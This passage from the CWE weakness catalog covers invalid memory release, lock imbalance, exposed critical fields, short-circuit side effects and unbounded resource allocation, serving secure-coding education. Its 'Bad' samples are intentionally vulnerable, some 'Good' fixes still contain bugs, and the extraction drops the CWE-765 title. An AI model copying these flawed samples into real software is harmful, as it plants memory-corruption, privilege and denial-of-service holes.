Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

Example Language: C++ *(Bad)*

```
void foo(){
   BarObj *ptr = new BarObj()
   /* do some work with ptr here */
   ...
   free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++ *(Good)*

```
void foo(){
   BarObj *ptr = new BarObj()
   /* do some work with ptr here */
   ...
   delete ptr;
}
```

Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++ *(Bad)*

```
class A {
   void foo();
};
void A::foo(){
   int *ptr;
   ptr = (int*)malloc(sizeof(int));
   delete ptr;
}
```

Example 3:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++ *(Bad)*

```
class A{
   void foo(bool);
};
void A::foo(bool heap) {
   int localArray[2] = {
      11,22
   };
   int *p = localArray;
   if (heap){
```

```
    p = new int[2];
  }
  delete[] p;
}
```

CWE-763: Release of Invalid Pointer or Reference

Weakness ID : 763
Structure : Simple
Abstraction : Base

Description

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

Extended Description

This weakness can take several forms, such as:

- The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
- The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2361
MemberOf	C	465	Pointer Issues	2365

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C *(Bad)*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
   if (**ap != '\0')
      if (++ap >= &argv[10])
         break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 2:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

Example Language: C++ *(Bad)*

```
void foo(){
   BarObj *ptr = new BarObj()
   /* do some work with ptr here */
   ...
   free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++ *(Good)*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  delete ptr;
}
```

Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C *(Bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
  char *str;
  str = (char*)malloc(20*sizeof(char));
  strcpy(str, "Search Me!");
  while( *str != NULL){
    if( *str == c ){
      /* matched char, free string and return success */
      free(str);
      return SUCCESS;
    }
    /* didn't match yet, increment pointer and try next char */
    str = str + 1;
  }
  /* we did not match the char in the string, free mem and return failure */
  free(str);
  return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C *(Good)*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
  char *str;
  int i = 0;
  str = (char*)malloc(20*sizeof(char));
  strcpy(str, "Search Me!");
  while( i < strlen(str) ){
    if( str[i] == c ){
      /* matched char, free string and return success */
      free(str);
      return SUCCESS;
    }
    /* didn't match yet, increment pointer and try next char */
    i = i + 1;
  }
  /* we did not match the char in the string, free mem and return failure */
  free(str);
  return FAILURE;
}
```

Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C *(Bad)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
   if( isMalformed( tok ) ){
      /* ignore and discard bad data */
      free( tok );
   }
   else{
      add_to_command_queue( tok );
   }
   tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C *(Good)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
   if( !isMalformed( command ) ){
      /* copy and enqueue good data */
      command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
      strcpy( command, tok );
      add_to_command_queue( command );
   }
   tok = strtok( NULL, sep));
}
free( input )
```

Observed Examples

Reference	Description
CVE-2019-11930	function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory." *https://www.cve.org/CVERecord?id=CVE-2019-11930*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2441
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2519
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2562

Notes

Maintenance

The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

CWE-764: Multiple Locks of a Critical Resource

Weakness ID : 764
Structure : Simple
Abstraction : Base

Description

The product locks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1499
ChildOf		667	Improper Locking	1475

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1460

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1460

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2362

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
Integrity	DoS: Crash, Exit, or Restart Unexpected State	

Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2449
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2563

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

Weakness ID : 765
Structure : Simple
Abstraction : Base

Description

The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When the product is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-766: Critical Data Element Declared Public

Weakness ID : 766
Structure : Simple
Abstraction : Base

Description

The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	275	Permission Issues	2355

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Read Application Data Modify Application Data *Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.*	
Other	Reduce Maintainability	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

Demonstrative Examples

Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

Example Language: C++ *(Bad)*

```
public: char* password;
```

Instead, the critical data should be declared private.

Example Language: C++ *(Good)*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

Example Language: C++ *(Bad)*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
```

```
  public:
    UserAccount(char *username, char *password)
    {
      if ((strlen(username) > MAX_USERNAME_LENGTH) ||
      (strlen(password) > MAX_PASSWORD_LENGTH)) {
        ExitError("Invalid username or password");
      }
      strcpy(this->username, username);
      strcpy(this->password, password);
    }
  int authorizeAccess(char *username, char *password)
  {
    if ((strlen(username) > MAX_USERNAME_LENGTH) ||
    (strlen(password) > MAX_PASSWORD_LENGTH)) {
      ExitError("Invalid username or password");
    }
    // if the username and password in the input parameters are equal to
    // the username and password of this account class then authorize access
    if (strcmp(this->username, username) ||
    strcmp(this->password, password))
      return 0;
    // otherwise do not authorize access
    else
      return 1;
  }
  char username[MAX_USERNAME_LENGTH+1];
  char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

Example Language: C++ *(Good)*

```
class UserAccount
{
public:
  ...
private:
  char username[MAX_USERNAME_LENGTH+1];
  char password[MAX_PASSWORD_LENGTH+1];
};
```

Observed Examples

Reference	Description

CWE-767: Access to Critical Private Variable via Public Method

Weakness ID : 767
Structure : Simple
Abstraction : Base

Description

The product defines a public method that reads or modifies a private variable.

Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	

Potential Mitigations

Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

Demonstrative Examples

Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

Example Language: C++ *(Bad)*

```
private: float price;
public: void changePrice(float newPrice) {
   price = newPrice;
}
```

Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Example Language: Java *(Bad)*

```
public class Client {
   private int UID;
   public int PID;
   private String userName;
   public Client(String userName){
      PID = getDefaultProfileID();
      UID = mapUserNametoUID( userName );
      this.userName = userName;
   }
   public void setPID(int ID) {
      UID = ID;
   }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo. accidentally specified the critical variable UID instead. If the program allows profile IDs to be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2565

Notes

Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID : 768
Structure : Simple
Abstraction : Variant

Description

The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the product's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1529

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	

Scope	Impact	Likelihood
Integrity Availability	*Widely varied consequences are possible if an attacker is aware of an unexpected state in the product after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.*	

Potential Mitigations

Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

Demonstrative Examples

Example 1:

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

Example Language: C *(Bad)*

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
   int privileges;
   int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
   user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
   int i = num_users;
   while( --i && (users[i].privileges = PRIV_REGULAR) ){
      users[i].id = i;
   }
   return users;
}
int main(){
   user_t* test;
   int i;
   test = Add_Regular_Users(25);
   for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID : 770
Structure : Simple
Abstraction : Base

Description

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.*	

Detection Methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause. When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Effectiveness = Opportunistic

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness. Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Potential Mitigations

Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C *(Bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
  newsock=accept(sock, ...);
  printf("A connection has been accepted\n");
  pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C *(Bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
  char filename[FILENAME_SIZE];
  char buffer[BUFFER_SIZE];
  int socket = openSocketConnection(host, port);
```

```
  if (socket < 0) {
    printf("Unable to open socket connection");
    return(FAIL);
  }
  if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
    if (openFileToWrite(filename) > 0) {
      while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
        if (!(writeToFile(buffer) > 0))
          break;
      }
    }
    closeFile();
  }
  closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 3:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C *(Bad)*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
  char *body;
  int length = getMessageLength(message[0]);
  if (length > 0) {
    body = &message[1][0];
    processMessageBody(body);
    return(SUCCESS);
  }
  else {
    printf("Unable to process message; invalid message length");
    return(FAIL);
  }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C *(Good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java *(Bad)*

```
public void acceptConnections() {
   try {
      ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
      int counter = 0;
      boolean hasConnections = true;
      while (hasConnections) {
         Socket client = serverSocket.accept();
         Thread t = new Thread(new ClientSocketThread(client));
         t.setName(client.getInetAddress().getHostName() + ":" + counter++);
         t.start();
      }
      serverSocket.close();
   } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java *(Good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
   try {
      ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
      int counter = 0;
      boolean hasConnections = true;
      while (hasConnections) {
         hasConnections = checkForMoreConnections();
         Socket client = serverSocket.accept();
         Thread t = new Thread(new ClientSocketThread(client));
         t.setName(client.getInetAddress().getHostName() + ":" + counter++);
         ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
         pool.execute(t);
      }
      serverSocket.close();
   } catch (IOException ex) {...}
}
```

Example 5:

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

Example 6:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

Example Language: C *(Bad)*

```
bar connection() {
  foo = malloc(1024);
  return foo;
}
endConnection(bar foo) {
  free(foo);
}
int main() {
  while(1) {
    foo=connection();
  }
  endConnection(foo)
}
```

Observed Examples

Reference	Description
